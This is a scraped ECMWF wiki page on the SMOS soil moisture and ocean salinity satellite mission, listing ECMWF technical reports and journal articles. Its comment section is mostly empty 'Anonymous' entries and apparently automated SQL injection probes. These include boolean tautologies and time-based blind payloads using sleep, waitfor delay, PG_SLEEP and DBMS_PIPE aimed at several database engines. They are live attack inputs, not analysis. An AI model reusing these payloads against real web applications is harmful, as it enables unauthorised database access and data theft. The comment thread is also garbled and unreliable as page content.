Soil Moisture and Ocean Salinity (SMOS) is the second Earth Explorer Opportunity mission developed as part of the European Space Agency (ESA) Living Planet programme. SMOS ws launched on 02 November 2009. The SMOS mission provides two-dimensional interferometric radiometer measurements of L-band (1.4 GHz) brightness temperature from a satellite in polar orbit. At this frequency the atmosphere is almost transparent and surface emission is strongly related to soil moisture over continental surfaces and salinity over oceans.

The key objectives of the SMOS mission are to:

  • Improve our understanding of the global water cycle.
  • Contribute to the improvement in weather and seasonal-climate forecasting.

ECMWF plays a major role in developing and implementing the use of SMOS brightness temperature data in NWP models. ECMWF’s contribution to the SMOS mission is two-fold:

  • Development of a data monitoring system for the SMOS near real time product to provide a timely quality check for ESA and the SMOS calibration and validation teams.
  • Assimilation of SMOS brightness temperature data in ECMWF's global NWP system through the Surface Data Assimilation System (SDAS) based on the Extended Kalman Filter. This system is currently being tested with the active microwave METOP/ASCAT surface soil moisture data

One main component of the monitoring is the observation operator that transforms model fields (soil moisture and ocean salinity) into observation equivalent (brightness temperatures).

To this end the CMEM (Community Microwave Emission Modelling Platform) has been developed at ECMWF.


ECMWF ESA Reports on SMOS:

  • Rodriguez-Fernandez N.J., P. de Rosnay, C. Albergel, F. Aires, C. Prigent, P. Richaume, Y.H. Kerr, J. Muñoz-Sabater: "SMOS Neural Network Soil Moisture Data Assimilation". January 2017 (pdf)
  • Muñoz-Sabater, J., N.J. Rodriguez-Fernandez, P. Richaume, C. Albergel, P. de Rosnay, Y.H. Kerr: TR2-WP4020-part 2: "SMOS Near-Real-Time Soil Moisture processor: Operational chain and evaluation". January 2016 (pdf)

  • Muñoz Sabater, J., P. de Rosnay, C. Albergel, L. Isaksen: Phase II, WP3401 & 3402: "SMOS report on model background and observation error scenarios". January 2016 (pdf)
  • Rodriguez-Fernandez, N., P. Richaume, J. Muñoz-Sabater, P. de Rosnay, Y.H. Kerr, TR2-WP4020-part 1: " SMOS Near-Real-Time Soil Moisture processor. Part 1: Neural network evaluation and algorithm description". Dec. 2015 (pdf)

  • Muñoz Sabater J., P. de Rosnay, C. Albergel, L. Isaksen: Phase II, WP2000 & WP2100: "SMOS report on level-3 root zone soil moisture and data assimilation impact". February 2014 (pdf).
  • Muñoz Sabater J., M. Dahoui, P. de Rosnay, L. Isaksen: Phase II, WP1100: "SMOS Monitoring Report number IV". January 2014 (pdf)
  • Muñoz Sabater J., P. de Rosnay, L. Isaksen, Phase II, WP2300: "Hot-spot analysis". December 2013 (pdf)
  • Muñoz Sabater J., P. de Rosnay, A.Fouilloux, M. Dahoui, L. Isaksen, C. Albergel, I. Mallas, T. Wilhelmssom: Tech. Note, Phase I: "Final Report". January 2013 (pdf)
  • Muñoz Sabater J., M. Dahoui, P. de Rosnay, L. Isaksen: Technical Note, Phase II, WP1100: "SMOS Monitoring Report number III: Dec-2011 - Dec-2012". April 2013 (pdf)
  • Muñoz Sabater J., M. Dahoui, P. de Rosnay, L. Isaksen: Technical Note, Phase II, WP1100: "SMOS Monitoring Report number II: Nov-2010 - Nov 2011". Dec. 2011 (pdf)
  • Muñoz Sabater J. and P. de Rosnay "SMOS report on noise filtering", Technical Note - Phase-II - WP1300 ESA/ESRIN Contract, November 2011, (pdf)
  • Muñoz Sabater J., P.de Rosnay, M. Dahoui: "SMOS continuous monitoring report - Part 1; February 2011" (pdf)
  • Muñoz Sabater J., T. Wilhelmsson, P. de Rosnay and L. Isaksen "SMOS Report on data thinning" - Technical Note - Phase II - WP1200; August 2011 (pdf)
  • Muñoz Sabater J., P.de Rosnay, A.Fouilloux: Milestone 2 Tech Note - Parts 1/2/3: "Operational Pre-processing chain, Collocation software development and Offline monitoring suite"; December 2010 (pdf)
  • de Rosnay, P., M. Drusch and J. Muñoz Sabater: Milestone 1 Tech Note - Part 1: "SMOS Global Surface Emission Model" November 2009 (pdf)
  • Muñoz Sabater J., P.de Rosnay, A.Fouilloux, M. Dragosavac and A.Hofstadler: Milestone 1 Tech Note - Part 2: "IFS Interface" November 2009 (pdf)


ECMWF peer-reviewed articles on SMOS:

  • J. Muñoz-Sabater, 2015: “Incorporation of microwave passive brightness temperatures in the ECMWF soil moisture analysis”. Remote Sensing. 7(5), 5758-5784; doi:10.3390/rs70505758.
  • J. Muñoz-Sabater, P. de Rosnay, C. Jimenez, L. Isaksen and C. Albergel. 2014: “SMOS brightness temperatures angular noise: characterization, filtering and validation”. IEEE Trans. on Geosci. and Remote Sens., 52, (9), 5827-5839, doi:10.1109/TGRS.2013.2293200.
  • J. Muñoz Sabater, Fouilloux. A. and de Rosnay, P., 2012: “Technical Implementation of SMOS Data in the ECMWF Integrated Forecasting System”, IEEE Geosc. and Remote Sens. Letters, 9(2), 252-256. doi:10.1109/LGRS.2011.2164777.
  • J. Muñoz Sabater, de Rosnay, P., and Balsamo, G., 2011: "Sensitivity of L-band NWP forward modelling to soil roughness”, Int. Journal of Remote Sens., 32 (19),5607-5620. doi:10.1080/01431161.2010.507260.
  • de Rosnay P., M. Drusch, A. Boone, G. Balsamo, B. Decharme, P. Harris, Y. Kerr, T. Pellarin, J. Polcher and J.-P. Wigneron, "The AMMA Land Surface Model Intercomparison Experiment coupled to the Community Microwave Emission Model: ALMIP-MEM", J. Geophys. Res., Vol 114, 2009, doi: 10.1029/2008JD010724
  • Drusch, M., T. Holmes, P. de Rosnay and G. Balsamo, 2009: Comparing ERA-40 based L-band brightness temperatures with Skylab observations: A calibration / validation study using the Community Microwave Emission Model, Vol 10, DOI: 10.1175/2008JHM964.1, J. Hydromet.


273 Comments

  1. Anonymous

    1. Anonymous

    2. Anonymous

    3. Anonymous

    4. Anonymous

    5. Anonymous

    6. Anonymous

    7. Anonymous

    8. Anonymous

    9. Anonymous

    10. Anonymous

    11. Anonymous

    12. Anonymous

    13. Anonymous

    14. Anonymous

    15. Anonymous

    16. Anonymous

    17. Anonymous

    18. Anonymous

    19. Anonymous

    20. Anonymous

    21. Anonymous

    22. Anonymous

    23. Anonymous

    24. Anonymous

    25. Anonymous

    26. Anonymous

    27. Anonymous

    28. Anonymous

    29. Anonymous

    30. Anonymous

    31. Anonymous

    32. Anonymous

    33. Anonymous

    34. Anonymous

      -1 OR 2+104-104-1=0+0+0+1 --
    35. Anonymous

      -1 OR 2+528-528-1=0+0+0+1
    36. Anonymous

      -1' OR 2+268-268-1=0+0+0+1 --
    37. Anonymous

      -1' OR 2+626-626-1=0+0+0+1 or 'ZSrE3nPX'='
    38. Anonymous

      -1" OR 2+114-114-1=0+0+0+1 --
    39. Anonymous

      555*if(now()=sysdate(),sleep(15),0)
    40. Anonymous

      5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
    41. Anonymous

      5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
    42. Anonymous

      (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
    43. Anonymous

      555-1; waitfor delay '0:0:15' --
    44. Anonymous

      555-1); waitfor delay '0:0:15' --
    45. Anonymous

      555-1 waitfor delay '0:0:15' --
    46. Anonymous

      555bIjMXryX'; waitfor delay '0:0:15' --
    47. Anonymous

      555-1 OR 287=(SELECT 287 FROM PG_SLEEP(15))--
    48. Anonymous

      555-1) OR 185=(SELECT 185 FROM PG_SLEEP(15))--
    49. Anonymous

      555-1)) OR 192=(SELECT 192 FROM PG_SLEEP(15))--
    50. Anonymous

      555k709e2u9' OR 136=(SELECT 136 FROM PG_SLEEP(15))--
    51. Anonymous

      555grAKUY6E') OR 434=(SELECT 434 FROM PG_SLEEP(15))--
    52. Anonymous

      555FJtvtCNc')) OR 349=(SELECT 349 FROM PG_SLEEP(15))--
    53. Anonymous

      555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    54. Anonymous

      555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    55. Anonymous

    56. Anonymous

    57. Anonymous

      555����%2527%2522\'\"
    58. Anonymous

  2. Anonymous

    1. Anonymous

    2. Anonymous

    3. Anonymous

    4. Anonymous

    5. Anonymous

    6. Anonymous

    7. Anonymous

    8. Anonymous

    9. Anonymous

    10. Anonymous

    11. Anonymous

    12. Anonymous

    13. Anonymous

    14. Anonymous

    15. Anonymous

    16. Anonymous

    17. Anonymous

    18. Anonymous

    19. Anonymous

    20. Anonymous

    21. Anonymous

    22. Anonymous

    23. Anonymous

    24. Anonymous

    25. Anonymous

    26. Anonymous

    27. Anonymous

    28. Anonymous

    29. Anonymous

    30. Anonymous

    31. Anonymous

      -1 OR 2+194-194-1=0+0+0+1 --
    32. Anonymous

      -1 OR 2+568-568-1=0+0+0+1
    33. Anonymous

      -1' OR 2+142-142-1=0+0+0+1 --
    34. Anonymous

      -1' OR 2+458-458-1=0+0+0+1 or 'jKNrZdX6'='
    35. Anonymous

      -1" OR 2+266-266-1=0+0+0+1 --
    36. Anonymous

      555*if(now()=sysdate(),sleep(15),0)
    37. Anonymous

      5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
    38. Anonymous

      5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
    39. Anonymous

      (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
    40. Anonymous

      555-1; waitfor delay '0:0:15' --
    41. Anonymous

      555-1); waitfor delay '0:0:15' --
    42. Anonymous

      555-1 waitfor delay '0:0:15' --
    43. Anonymous

      555mfhPei2I'; waitfor delay '0:0:15' --
    44. Anonymous

      555-1 OR 867=(SELECT 867 FROM PG_SLEEP(15))--
    45. Anonymous

      555-1) OR 280=(SELECT 280 FROM PG_SLEEP(15))--
    46. Anonymous

      555-1)) OR 791=(SELECT 791 FROM PG_SLEEP(15))--
    47. Anonymous

      555rUjCbEHs' OR 910=(SELECT 910 FROM PG_SLEEP(15))--
    48. Anonymous

      555bIHsuymo') OR 465=(SELECT 465 FROM PG_SLEEP(15))--
    49. Anonymous

      5554HGgyBo4')) OR 540=(SELECT 540 FROM PG_SLEEP(15))--
    50. Anonymous

      555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    51. Anonymous

      555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    52. Anonymous

    53. Anonymous

    54. Anonymous

      555����%2527%2522\'\"
    55. Anonymous

  3. Anonymous

  4. Anonymous

  5. Anonymous

  6. Anonymous

  7. Anonymous

  8. Anonymous

  9. Anonymous

  10. Anonymous

  11. Anonymous

  12. Anonymous

  13. Anonymous

  14. Anonymous

  15. Anonymous

  16. Anonymous

  17. Anonymous

  18. Anonymous

  19. Anonymous

  20. Anonymous

  21. Anonymous

  22. Anonymous

  23. Anonymous

  24. Anonymous

  25. Anonymous

  26. Anonymous

  27. Anonymous

  28. Anonymous

  29. Anonymous

    -1 OR 2+228-228-1=0+0+0+1 --
  30. Anonymous

    -1 OR 2+494-494-1=0+0+0+1
  31. Anonymous

    -1' OR 2+747-747-1=0+0+0+1 --
  32. Anonymous

    -1' OR 2+551-551-1=0+0+0+1 or '9XHCAzP7'='
  33. Anonymous

    -1" OR 2+957-957-1=0+0+0+1 --
  34. Anonymous

  35. Anonymous

    1*if(now()=sysdate(),sleep(15),0)
  36. Anonymous

  37. Anonymous

    -1 OR 2+335-335-1=0+0+0+1 --
  38. Anonymous

    -1 OR 2+487-487-1=0+0+0+1
  39. Anonymous

    -1' OR 2+512-512-1=0+0+0+1 --
  40. Anonymous

    -1' OR 2+716-716-1=0+0+0+1 or 'DRGJkzV1'='
  41. Anonymous

    -1" OR 2+376-376-1=0+0+0+1 --
  42. Anonymous

    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
  43. Anonymous

    555*if(now()=sysdate(),sleep(15),0)
  44. Anonymous

    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
  45. Anonymous

    5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
  46. Anonymous

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  47. Anonymous

    5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
  48. Anonymous

    1-1; waitfor delay '0:0:15' --
  49. Anonymous

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  50. Anonymous

    1-1); waitfor delay '0:0:15' --
  51. Anonymous

    555-1; waitfor delay '0:0:15' --
  52. Anonymous

    1-1 waitfor delay '0:0:15' --
  53. Anonymous

    555-1); waitfor delay '0:0:15' --
  54. Anonymous

    1pQ7OjRAJ'; waitfor delay '0:0:15' --
  55. Anonymous

    555-1 waitfor delay '0:0:15' --
  56. Anonymous

    1-1 OR 169=(SELECT 169 FROM PG_SLEEP(15))--
  57. Anonymous

    555dFyIameT'; waitfor delay '0:0:15' --
  58. Anonymous

    1-1) OR 769=(SELECT 769 FROM PG_SLEEP(15))--
  59. Anonymous

    555-1 OR 533=(SELECT 533 FROM PG_SLEEP(15))--
  60. Anonymous

    1-1)) OR 73=(SELECT 73 FROM PG_SLEEP(15))--
  61. Anonymous

    555-1) OR 598=(SELECT 598 FROM PG_SLEEP(15))--
  62. Anonymous

    1ODfIkA2P' OR 502=(SELECT 502 FROM PG_SLEEP(15))--
  63. Anonymous

    555-1)) OR 336=(SELECT 336 FROM PG_SLEEP(15))--
  64. Anonymous

    1lYuGQBNq') OR 602=(SELECT 602 FROM PG_SLEEP(15))--
  65. Anonymous

    555XoZqIy31' OR 483=(SELECT 483 FROM PG_SLEEP(15))--
  66. Anonymous

    18fgkdAgd')) OR 295=(SELECT 295 FROM PG_SLEEP(15))--
  67. Anonymous

    555Vb53pU0w') OR 993=(SELECT 993 FROM PG_SLEEP(15))--
  68. Anonymous

    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  69. Anonymous

    555SuaZcdse')) OR 506=(SELECT 506 FROM PG_SLEEP(15))--
  70. Anonymous

    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  71. Anonymous

    ����%2527%2522\'\"
  72. Anonymous

  73. Anonymous

    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  74. Anonymous

    -1 OR 2+223-223-1=0+0+0+1 --
  75. Anonymous

    -1 OR 2+106-106-1=0+0+0+1
  76. Anonymous

    -1' OR 2+840-840-1=0+0+0+1 --
  77. Anonymous

    -1' OR 2+387-387-1=0+0+0+1 or 'TEC7nByV'='
  78. Anonymous

    -1" OR 2+276-276-1=0+0+0+1 --
  79. Anonymous

  80. Anonymous

    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  81. Anonymous

  82. Anonymous

  83. Anonymous

  84. Anonymous

  85. Anonymous

  86. Anonymous

    555����%2527%2522\'\"
  87. Anonymous

  88. Anonymous

  89. Anonymous

  90. Anonymous

  91. Anonymous

  92. Anonymous

    1*if(now()=sysdate(),sleep(15),0)
  93. Anonymous

  94. Anonymous

  95. Anonymous

    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
  96. Anonymous

  97. Anonymous

    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
  98. Anonymous

  99. Anonymous

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  100. Anonymous

  101. Anonymous

    1-1; waitfor delay '0:0:15' --
  102. Anonymous

  103. Anonymous

    1-1); waitfor delay '0:0:15' --
  104. Anonymous

  105. Anonymous

    1-1 waitfor delay '0:0:15' --
  106. Anonymous

  107. Anonymous

    1jMXys69N'; waitfor delay '0:0:15' --
  108. Anonymous

  109. Anonymous

    1-1 OR 657=(SELECT 657 FROM PG_SLEEP(15))--
  110. Anonymous

  111. Anonymous

    1-1) OR 989=(SELECT 989 FROM PG_SLEEP(15))--
  112. Anonymous

  113. Anonymous

    1-1)) OR 948=(SELECT 948 FROM PG_SLEEP(15))--
  114. Anonymous

  115. Anonymous

    12nRZCR4F' OR 267=(SELECT 267 FROM PG_SLEEP(15))--
  116. Anonymous

  117. Anonymous

    1vS2B9WLP') OR 992=(SELECT 992 FROM PG_SLEEP(15))--
  118. Anonymous

  119. Anonymous

    1yDsIARl5')) OR 136=(SELECT 136 FROM PG_SLEEP(15))--
  120. Anonymous

  121. Anonymous

    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  122. Anonymous

  123. Anonymous

    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  124. Anonymous

  125. Anonymous

    ����%2527%2522\'\"
  126. Anonymous

  127. Anonymous

  128. Anonymous

  129. Anonymous

  130. Anonymous

  131. Anonymous

  132. Anonymous

  133. Anonymous

  134. Anonymous

  135. Anonymous

  136. Anonymous

  137. Anonymous

  138. Anonymous

  139. Anonymous

  140. Anonymous

  141. Anonymous

  142. Anonymous

  143. Anonymous

  144. Anonymous

  145. Anonymous

  146. Anonymous

  147. Anonymous

  148. Anonymous

  149. Anonymous

  150. Anonymous

  151. Anonymous

  152. Anonymous

  153. Anonymous

  154. Anonymous

Write a comment…